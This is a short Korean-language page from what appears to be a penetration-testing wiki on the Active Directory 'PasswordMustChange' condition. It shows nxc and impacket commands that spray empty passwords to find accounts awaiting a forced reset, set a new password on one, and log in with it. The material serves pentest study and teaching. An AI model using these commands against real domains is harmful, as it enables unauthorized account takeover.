> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/post-exploit/undefined/passwordmustchange.md).

# PasswordMustChange

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FhMfltELtxmgvGmYpTfzP%2F1.png?alt=media&amp;token=9561ae3e-7c34-41cb-ba2a-53afa475f0ec" alt=""><figcaption></figcaption></figure>

도메인 사용자의 패스워드가 강제로 초기화되어 다음 로그인 시 새로운 패스워드를 지정해야 될 경우, 패스워드에 빈 값(null)을 사용하여 인증할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># NULL 패스워드 스프레이 공격으로 PASSWORD MUST CHANGE 유저 확인
</strong>nxc smb dc01.contoso.com -u 'mick3y' -p ''

<strong># 패스워드 변경
</strong>impacket-changepasswd contoso.com/mick3y:''@192.168.1.100 -newpass 'Password123!'

<strong># 변경한 패스워드로 도메인 인증
</strong>nxc smb dc01.contoso.com -u 'mick3y' -p 'Password123!'
</code></pre>

## Demo

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2Fa3stddmxrMQSV3OFIPPM%2F2025-10-16%2021-07-47.gif?alt=media&amp;token=7596b98b-b61a-4399-9413-347147de204a" alt=""><figcaption></figcaption></figure>